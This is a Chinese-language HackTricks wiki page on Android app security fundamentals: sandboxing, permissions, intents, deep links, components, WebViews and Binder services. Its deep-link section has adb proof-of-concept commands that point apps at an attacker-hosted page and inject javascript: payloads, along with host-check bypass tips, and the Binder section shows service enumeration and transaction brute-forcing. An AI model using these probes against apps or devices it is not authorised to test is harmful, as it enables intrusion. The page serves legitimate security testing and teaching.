Android 应用基础

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Android 安全模型

有两层:

  • 操作系统(OS),将已安装的应用相互隔离。
  • 应用本身,允许开发者暴露特定功能并配置应用能力。

UID 分离

每个应用都会被分配一个特定的 User ID。 这是在安装应用时完成的,所以应用只能与属于其 User ID 的文件或被共享的文件交互。因此,只有应用自身、OS 的某些组件和 root 用户可以访问该应用的数据。

UID 共享

两个应用可以配置为使用相同的 UID。 这对于共享信息很有用,但如果其中一个被攻破,两个应用的数据都会受到影响。这就是为什么这种行为不被鼓励
要共享相同的 UID,应用必须在它们的 manifests 中定义相同的 android:sharedUserId 值。

沙箱机制

Android Application Sandbox 允许每个应用作为独立进程并使用独立用户 ID运行。每个进程都有自己的虚拟机,因此应用的代码与其他应用隔离运行。
从 Android 5.0(L) 起,SELinux 被强制执行。基本上,SELinux 拒绝所有进程间的交互,然后创建策略以只允许期望的交互

权限

当你安装一个应用并且它请求权限时,应用是在请求 uses-permission 元素中配置的权限,这些元素位于 AndroidManifest.xml 文件中。uses-permission 元素在 name 属性 中指明请求的权限名。它还有 maxSdkVersion 属性,用于在高于指定版本时停止请求权限。
注意,android 应用不需要在一开始请求所有权限,它们也可以动态请求权限,但所有权限都必须在 manifest声明

当一个应用暴露功能时,它可以将访问限制为只有具有指定权限的应用
permission 元素有三个属性:

  • 权限的 name
  • permission-group 属性,允许对相关权限进行分组。
  • protection-level,指示权限如何被授予。有四种类型:
    • Normal:用于对应用没有已知威胁的场景。用户不需要批准
    • Dangerous:表示该权限赋予请求的应用某些提升的访问权限会请求用户批准
    • Signature:只有由与导出组件相同证书签名的应用才能被授予该权限。这是最强的保护类型。
    • SignatureOrSystem:只有由与导出组件相同证书签名的应用或以 system 级别运行的应用才能被授予权限。

预装应用

这些应用通常位于 /system/app/system/priv-app 目录,有些经过优化(你甚至可能找不到 classes.dex 文件)。这些应用值得检查,因为有时它们运行时拥有过多权限(例如以 root 身份运行)。

  • AOSP (Android OpenSource Project) ROM 一起提供的应用
  • 设备 制造商 添加的应用
  • 手机运营商 添加的应用(如果从其处购买)

Rooting

为了在物理 android 设备上获得 root 访问权限,通常需要利用1 或 2 个针对特定设备和版本的漏洞
一旦 exploit 成功,通常会将 Linux su 二进制文件复制到用户 PATH 环境变量中指定的位置,比如 /system/xbin

配置好 su 二进制后,会使用另一个 Android 应用来与 su 二进制交互并处理 root 访问请求,例如 SuperuserSuperSU(可在 Google Play store 获取)。

Caution

请注意,rooting 过程非常危险,可能严重损坏设备

ROMs

可以通过刷入自定义固件来替换操作系统。这样可以延长旧设备的使用、绕过软件限制或获得最新的 Android 代码。
OmniROMLineageOS 是两个最流行的固件。

注意,并非总是需要 root 设备来安装自定义固件。某些厂商允许以文档化且安全的方式解锁其 bootloader。

影响

一旦设备被 root,任何应用都可能请求以 root 身份访问。如果恶意应用获得了该权限,它几乎可以访问一切并可能破坏手机。

Android 应用基础

  • Android 应用的格式称为 APK file format。它本质上是一个 ZIP 文件(通过将文件扩展名重命名为 .zip,可以提取并查看其内容)。
  • APK 包含内容(非详尽列表)
  • AndroidManifest.xml
  • resources.arsc/strings.xml
  • resources.arsc:包含预编译资源,例如二进制 XML。
  • res/xml/files_paths.xml
  • META-INF/
  • 证书就位于这里!
  • classes.dex
  • 包含 Dalvik 字节码,表示应用执行的已编译 Java(或 Kotlin)代码。
  • lib/
  • 存放本地库,按 CPU 架构在子目录中分隔。
  • armeabi: 面向基于 ARM 的处理器的代码
  • armeabi-v7a: 面向 ARMv7 及更高处理器的代码
  • x86: 面向 X86 处理器的代码
  • mips: 仅面向 MIPS 处理器的代码
  • assets/
  • 存储应用需要的各种文件,可能包括额外的本地库或 DEX 文件,有时被恶意软件作者用来隐藏额外代码。
  • res/
  • 包含未编译进 resources.arsc 的资源

Dalvik & Smali

在 Android 开发中,使用 Java 或 Kotlin 来创建应用。与桌面应用使用 JVM 不同,Android 将这些代码编译为 Dalvik Executable (DEX) 字节码。早期由 Dalvik 虚拟机处理这些字节码,而在较新的 Android 版本中由 Android Runtime (ART) 接管。

在逆向工程中,Smali 变得非常重要。它是 DEX 字节码的可读版本,类似汇编语言,将源代码翻译为字节码指令。Smali 和 baksmali 指的是在此情境中的汇编与反汇编工具。

Intents

Intents 是 Android 应用在其组件之间或与其他应用之间通信的主要方式。这些消息对象也可以在应用或组件之间携带数据,类似于 HTTP 通信中的 GET/POST 请求。

因此,Intent 本质上是在组件之间传递的消息。Intent 可以被定向到特定组件或应用,也可以在没有特定接收者的情况下发送
简单来说,Intent 可用于:

  • 启动 Activity,通常用于打开应用的用户界面
  • 作为广播,告知系统和应用发生的变化
  • 启动、停止和与后台 service 通信
  • 通过 ContentProviders 访问数据
  • 作为回调处理事件

如果存在漏洞,Intents 可被用于执行多种攻击

Intent 过滤器

Intent Filters 定义了 activity、service 或 Broadcast Receiver 如何与不同类型的 Intent 交互。本质上,它们描述了这些组件的能力,例如可以执行的 action 或可以处理的广播类型。声明这些过滤器的主要位置是 AndroidManifest.xml 文件,尽管对于 Broadcast Receivers,也可以在代码中进行声明。

Intent Filters 由 category、action 和 data 过滤项组成,并可包含额外的元数据。该设置允许组件处理与声明的条件匹配的特定 Intent。

Android 组件(activities/services/content providers/broadcast receivers)的一个关键方面是它们的可见性或公开状态。如果组件在 manifest 中被 exported 设置为 true,或声明了 Intent Filter,则该组件被视为公开,可以与其他应用交互。然而,开发者也可以显式将这些组件设置为私有,确保它们不会无意中与其他应用交互。这可以通过在 manifest 定义中将 exported 属性设置为 false 实现。

此外,开发者可以通过要求特定权限来进一步保护对这些组件的访问。可以设置 permission 属性,强制只有具有指定权限的应用才能访问该组件,从而为谁可以与其交互添加额外的安全控制。

<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>

隐式 Intents

Intents 是通过 Intent 构造函数以编程方式创建的:

Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));

先前声明的 intent 的 ActionACTION_SENDExtra 是一个 mailto Uri(Extra 指 intent 所期望的额外信息)。

该 intent 应在 manifest 内声明,如下面示例所示:

<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

要接收消息,intent-filter 需要匹配 actiondatacategory

The “Intent resolution” 过程决定哪个 app 应该接收每条消息。该过程会考虑 priority attribute,它可以在 intent-filter declaration 中设置,且 the one with the higher priority will be selected。这个 priority 可以设置在 -1000 到 1000 之间,应用可以使用 SYSTEM_HIGH_PRIORITY 值。如果出现 conflict,将弹出一个 “choser” Window,以便 user can decide

显式 Intents

显式 intent 指定它要定位的 class 名称:

Intent downloadIntent = new (this, DownloadService.class):

在其他应用中,为了访问之前声明的 intent,你可以使用:

Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);

挂起的 Intent

这些允许其他应用在你的应用的身份和权限下代表你的应用执行操作。在构造 Pending Intent 时,应该指定一个 intent 和要执行的动作。如果声明的 intent 不是 Explicit(没有声明哪个 intent 可以调用它),恶意应用可能会以受害应用的名义执行该声明的动作。而且,如果没有指定动作,恶意应用将能够代表受害者执行任何动作

广播 Intents

与前面的 intents 只由一个应用接收不同,广播 intents 可以被多个应用接收。然而,从 API 版本 14 起,可以使用 Intent.set Package 指定应该接收该消息的应用

另外,也可以在发送广播时指定一个权限。接收方应用需要具有该权限。

广播有两种类型Normal(异步)和 Ordered(同步)。顺序基于 receiver 元素中配置的优先级。每个应用可以处理、转发或丢弃该 Broadcast。

可以使用 sendBroadcast(intent, receiverPermission)Context 类来发送一个broadcast
你也可以使用 LocalBroadCastManager 的函数 sendBroadcast,它确保消息永远不会离开应用。使用它你甚至无需导出 receiver 组件。

粘性广播

这种类型的广播在发送很久之后仍然可以被访问
它们在 API level 21 中已被弃用,建议不要使用它们。
它们允许任何应用嗅探数据,同时也能修改数据。

如果你发现包含单词 “sticky” 的函数,例如 sendStickyBroadcastsendStickyBroadcastAsUser检查影响并尝试移除它们

深度链接 / URL 方案

在 Android 应用中,深度链接用于通过 URL 直接启动一个动作(Intent)。这是通过在 activity 中声明特定的 URL scheme 来完成的。当 Android 设备尝试访问具有该 scheme 的 URL时,应用中指定的 activity 会被启动。

该 scheme 必须在 AndroidManifest.xml 文件中声明:

[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]

前一个示例的 scheme 是 examplescheme://(另请注意 category BROWSABLE

然后,在 data 字段中,您可以指定 hostpath

<data android:scheme="examplescheme"
android:host="example"
/>

要从网页访问它,可以设置如下链接:

<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>

为了找到将在 App 中执行的代码,前往 deeplink 调用的 Activity 并搜索函数 onNewIntent

了解如何 call deep links without using HTML pages

  • Entry point discovery:声明 <action android:name="android.intent.action.VIEW" /> + <category android:name="android.intent.category.BROWSABLE" /> 的 exported Activities 可以通过精心构造的 URIs(custom schemes 或 http/https App Links)远程访问。优先检查包含 login/reset/payment/wallet/admin 关键词的路径。
  • Validation bypass heuristics:弱主机检查(如 endsWith()contains()、宽松的正则或子字符串 allowlists)通常可以通过攻击者可控的子域、前缀/后缀技巧以及 URL/UTF‑8 双重编码绕过。
  • WebView sinks:如果 handler 将传入的 URI 或查询参数转发给 WebView.loadUrl(...),你可以强制应用渲染任意攻击者内容。如果 scheme 校验薄弱,尝试 javascript: payloads 以及外部的 https:// URLs。
  • adb PoC templates(implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"

# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
  • 操作提示: 捕获多个 payload 变体 (external URL vs javascript:) 并快速在设备/模拟器上重放,以将真实问题 (open-redirect/auth-bypass/WebView URL injection) 与静态分析噪声区分开来。
  • Automation: Deep-C 自动化 deeplink 探测,通过反编译 APK (apktool + dex2jar + jadx),枚举 exported + browsable activities,关联弱验证和 WebView.loadUrl 流,并生成可直接运行的 adb PoC(可选用 --exec 自动执行)。

AIDL - Android Interface Definition Language

The Android Interface Definition Language (AIDL) 旨在通过 进程间通信 (IPC) 促进 Android 应用中 client 与 service 之间的通信。由于在 Android 上不允许直接访问另一个进程的内存,AIDL 通过将对象封送为操作系统可理解的格式来简化该过程,从而便于不同进程之间的通信。

关键概念

  • Bound Services: 这些服务使用 AIDL 进行 IPC,使 activities 或组件能够绑定到 service、发出请求并接收响应。服务类中的 onBind 方法对于启动交互至关重要,因此在寻找漏洞时应重点审查。

  • Messenger: 作为一种 bound service,Messenger 促进 IPC,重点通过 onBind 方法处理数据。应仔细检查该方法,查看是否存在不安全的数据处理或执行敏感功能。

  • Binder: 由于 AIDL 的抽象层,直接使用 Binder class 较少见,但理解 Binder 作为内核级驱动在不同进程的内存空间之间促进数据传输是有益的。欲了解更多,可参考 https://www.youtube.com/watch?v=O-UHvFjxwZ8

组件

包括:Activities, Services, Broadcast Receivers and Providers.

Launcher Activity and other activities

在 Android 应用中,activities 类似于屏幕,展示应用界面的不同部分。一个应用可以有多个 activities,每个都向用户呈现不同的界面。

The launcher activity 是应用的主要入口,当你点击应用图标时会启动它。它在应用的 manifest 文件中用特定的 MAIN 和 LAUNCHER intents 定义:

<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

并非所有应用都需要 launcher activity,尤其是那些没有用户界面(例如后台服务)的应用。

可以通过在 manifest 中将活动 (Activity) 标记为 “exported” 来使其对其他应用或进程可用。此设置允许其他应用启动该活动:

<service android:name=".ExampleExportedService" android:exported="true"/>

然而,从另一个应用访问活动并不总是构成安全风险。问题出在敏感数据被不当共享时,这可能导致信息 leak。

活动的生命周期 从 onCreate 方法开始,设置 UI 并准备与用户交互。

Application 子类

在 Android 开发中,应用可以选择创建 Application 类的子类,但这不是强制性的。当定义了这样的子类时,它会成为应用中第一个被实例化的类。attachBaseContext 方法,如果在该子类中实现,会在 onCreate 方法之前执行。此设置允许在应用其余部分启动之前进行早期初始化。

public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}

@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}

服务

Services后台组件,能够在没有用户界面的情况下执行任务。这些任务即使在用户切换到其他应用时也可以继续运行,因此服务对于 长期运行的操作 至关重要。

服务非常灵活;它们可以通过多种方式启动,其中 Intents 是作为应用入口点启动它们的主要方法。一旦使用 startService 方法启动服务,其 onStart 方法会被触发并持续运行,直到显式调用 stopService 方法。或者,如果服务的作用依赖于活动的客户端连接,则使用 bindService 方法将客户端绑定到服务,onBind 方法用于数据传递。

服务的一个典型应用包括后台播放音乐或在不妨碍用户与应用交互的情况下进行网络数据获取。此外,服务可以通过 exporting 向同一设备上的其他进程开放访问。这不是默认行为,需要在 Android Manifest 文件中显式配置:

<service android:name=".ExampleExportedService" android:exported="true"/>

广播接收器

Broadcast receivers 在消息系统中充当监听器,允许多个应用对系统发出的相同消息做出响应。应用可以通过两种主要方式****注册接收器:通过应用的Manifest,或在应用代码中通过 registerReceiver API 动态注册。在 Manifest 中,广播可通过权限进行过滤,而动态注册的接收器在注册时也可以指定权限。

Intent filters 在两种注册方式中都至关重要,决定了哪些广播会触发接收器。一旦发送了匹配的广播,接收器的 onReceive 方法将被调用,使应用能够相应地做出反应,例如在低电量警告时调整行为。

广播可以是异步的,无序地到达所有接收器,也可以是同步的,接收器根据设置的优先级接收广播。不过需要注意潜在的安全风险,因为任何应用都可以提升自身优先级来拦截广播。

要理解接收器的功能,请在其类中查找 onReceive 方法。该方法的代码可能会操作接收到的 Intent,强调接收器需要对数据进行验证,尤其是在**有序广播(Ordered Broadcasts)**中,这些广播可以修改或丢弃 Intent。

Content Provider

Content Providers 对于在应用之间共享结构化数据至关重要,这也强调了实现权限以确保数据安全的重要性。它们允许应用访问来自数据库、文件系统或网络等各种来源的数据。特定权限,比如 readPermissionwritePermission,对于控制访问非常重要。此外,可以通过在应用的 manifest 中使用 grantUriPermission 设置授予临时访问权,利用 pathpathPrefixpathPattern 等属性进行细粒度的访问控制。

输入验证至关重要以防止诸如 SQL 注入等漏洞。Content Providers 支持基本操作:insert(), update(), delete(), 和 query(),以便在应用间进行数据操作和共享。

Permission semantics and pitfalls (Content Providers)

  • 如果 provider 是 exported 的,应显式声明 readPermission 和 writePermission。当省略 writePermission 时默认值为 null,意味着任何应用都可以尝试 insert/update/delete(如果提供者实现了这些方法)。
  • 切勿将不受信任的 projection、selection、selectionArgs 或 sortOrder 拼接到原始 SQL 中。使用白名单和参数绑定(例如使用 SQLiteQueryBuilder 与 projection map)以及固定的 WHERE 模板。
  • 除非 provider 必须对外公开,否则优先设置 android:exported=“false”。对于选择性共享,使用 grantUriPermissions 并结合 path/pathPrefix/pathPattern。

FileProvider 是一种专用的 Content Provider,专注于安全共享文件。它在应用的 manifest 中定义,具有用于控制对文件夹访问的特定属性,通过 android:exportedandroid:resource 指向文件夹配置。在共享目录时应谨慎,以避免无意中暴露敏感数据。

Example manifest declaration for FileProvider:

<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>

下面是在 filepaths.xml 中指定共享文件夹的示例:

<paths>
<files-path path="images/" name="myimages" />
</paths>

For further information check:

WebViews

WebViews 类似于应用内部的 迷你网页浏览器,可以从网络或本地文件拉取内容。它们面临与普通浏览器相似的风险,但可以通过特定的 设置降低这些风险

Android 提供两种主要的 WebView 类型:

  • WebViewClient 适用于基本 HTML,但不支持 JavaScript 的 alert 函数,这会影响对 XSS 攻击的测试方式。
  • WebChromeClient 更像完整版 Chrome 浏览器的体验。

一个关键点是 WebView 浏览器不会与设备的主浏览器共享 cookies

加载内容时,可以使用 loadUrlloadDataloadDataWithBaseURL 等方法。必须确保这些 URL 或文件可安全使用。可以通过 WebSettings 类管理安全设置。例如,通过 setJavaScriptEnabled(false) 禁用 JavaScript 可以防止 XSS 攻击。

JavaScript “Bridge” 允许 Java 对象与 JavaScript 交互,从 Android 4.2 起,为了安全,需要将方法标注为 @JavascriptInterface

允许内容访问(setAllowContentAccess(true))使 WebView 可访问 Content Providers,这可能构成风险,除非这些内容 URL 已被验证为安全。

要控制文件访问:

  • 禁用文件访问(setAllowFileAccess(false))可限制对文件系统的访问,但对某些 assets 有例外,确保这些资源仅用于非敏感内容。

其他应用组件与移动设备管理

应用的数字签名

  • 数字签名 是 Android 应用的必需环节,确保在安装前应用的作者身份真实可信。该过程使用证书来标识应用,设备的 package manager 在安装时必须验证该证书。应用可以自签名或由外部 CA 认证,以防止未授权访问并确保应用在传送到设备过程中未被篡改。

用于增强安全性的应用验证

  • Android 4.2 开始,一个名为 Verify Apps 的功能允许在安装前对应用进行安全检查。该验证过程可以提醒用户可能有害的应用,甚至阻止特别恶意的应用安装,从而增强用户安全。

移动设备管理 (MDM)

  • MDM 解决方案 通过 Device Administration API 为移动设备提供监管和安全。它们要求安装一个 Android 应用以有效管理和保护移动设备。主要功能包括强制执行密码策略要求存储加密允许远程擦除数据,从而确保持对移动设备的全面控制和安全。
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);

if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}

枚举与利用 AIDL / Binder Services

Android Binder IPC 会暴露许多 system and vendor-provided services。当这些服务在导出时没有适当的 permission check 时,它们就会成为 attack surface(AIDL 层本身不执行 no access-control)。

1. 发现正在运行的服务

# from an adb shell (USB or wireless)
service list               # simple one-liner
am list services           # identical output, ActivityManager wrapper

输出为如下编号列表:

145  mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146  wifi             : [android.net.wifi.IWifiManager]
  • 索引(第一列)在运行时分配——请不要在重启后依赖它。
  • Binder 名称(例如 mtkconnmetrics)就是将传递给 service call 的名称。
  • 括号内的值是生成该 stub 的完全限定 AIDL interface

2. 获取接口描述符 (PING)

每个 Binder stub 会自动实现 transaction code 0x5f4e5446(十进制 1598968902,ASCII “_NTF”)。

# "ping" the service
service call mtkconnmetrics 1    # 1 == decimal 1598968902 mod 2^32

有效的回复在 Parcel 内以 UTF-16 字符串编码返回接口名。

3. 调用事务

语法: service call <name> <code> [type value ...]

常见的参数说明符:

  • i32 <int> – 带符号的 32 位值
  • i64 <long> – 带符号的 64 位值
  • s16 <string> – UTF-16 字符串 (Android 13+ 使用 utf16)

示例 – 在 MediaTek 手机上以 uid 1 开始网络监控:

service call mtkconnmetrics 8 i32 1

4. Brute-forcing unknown methods

当头文件不可用时,你可以迭代代码,直到错误从:

Result: Parcel(00000000 00000000)  # "Not a data message"

变成普通的 Parcel 响应或 SecurityException

for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done

如果服务是使用 proguard 编译的,映射关系必须被推断 —— 参见下一步。

5. 通过 onTransact() 将代码编号 ↔ 方法 映射

反编译实现该接口的 jar/odex(对于 AOSP stubs 请检查 /system/framework;OEMs 通常使用 /system_ext/vendor)。 搜索 Stub.onTransact() – 它包含一个巨大的 switch(transactionCode)

case TRANSACTION_updateCtaAppStatus:      // 5
data.enforceInterface(DESCRIPTOR);
int appId  = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;

现在原型和参数类型已经非常清晰。

6. 发现缺失的权限检查

实现(通常是一个内部的 Impl 类)负责授权:

private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}

缺少此类逻辑或特权 UID 白名单(例如 uid == 1000 /*system*/)是一个漏洞指示器

案例研究 – MediaTek startMonitorProcessWithUid()(transaction 8)在没有任何权限门控的情况下完全执行了 Netlink 消息,允许未特权的应用与内核的 Netfilter 模块交互并向系统日志发送垃圾消息。

7. Automating the assessment

Tools / scripts that speed-up Binder reconnaissance:

  • binderfs – 暴露 /dev/binderfs,包含每个服务的节点
  • binder-scanner.py – 遍历 binder 表并打印 ACLs
  • Frida 快捷:Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks